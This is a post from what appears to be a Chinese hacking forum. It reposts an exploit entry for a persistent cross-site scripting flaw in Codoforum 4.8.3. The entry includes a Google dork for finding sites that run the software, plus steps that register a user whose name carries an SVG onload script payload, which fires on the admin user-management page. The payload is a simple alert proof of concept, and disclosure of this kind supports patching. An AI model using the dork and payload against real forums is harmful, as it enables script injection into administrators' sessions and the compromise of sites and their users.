游客您好，欢迎来到黑客世界论坛！您可以在这里进行注册。

赤队小组-代号1949（原CHT攻防小组）在这个瞬息万变的网络时代，我们保持初心，创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识，您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告，请注册用户查看我们的使用与隐私策略，谢谢您的配合。小组成员可以获取论坛隐藏内容！

TheHackerWorld官方

Codoforum 4.8.3 - Persistent Cross-Site Scripting

PHP,webapps,

发布于2022年11月4日2年前

# Exploit Title: Codoforum 4.8.3 - Persistent Cross-Site Scripting
# Google Dork: intext:"Powered by Codoforum"
# Date: 2020-01-03
# Exploit Author: Prasanth c41m, Vyshnav Vizz
# Vendor Homepage: https://codoforum.com/index.php
# Software Link: https://codoforum.com/buy
# Version: Codoforum 4.8.3 
# Tested on: [relevant os]
# CVE : [if applicable]
# source: https://medium.com/@c41m/b2e1133c6a91?

Codoforum is prone to a stored xss vulnerability.
An attacker can exploit this issue to creating user with payload and perform cross-site scripting attacks.
Codoforum version 4.8.3 is vulnerable. 

1. Install Codoforum 4.8.3 in a local server.
2. Goto http://localhost/index.php?u=/user/register
3. Create a user using :- 
			username : "><svg/onload=alert(1)>
			password : password
			email    : [email protected]
4. Now goto http://localhost/admin/index.php?page=users/manage, an XSS alert popup will be triggered here.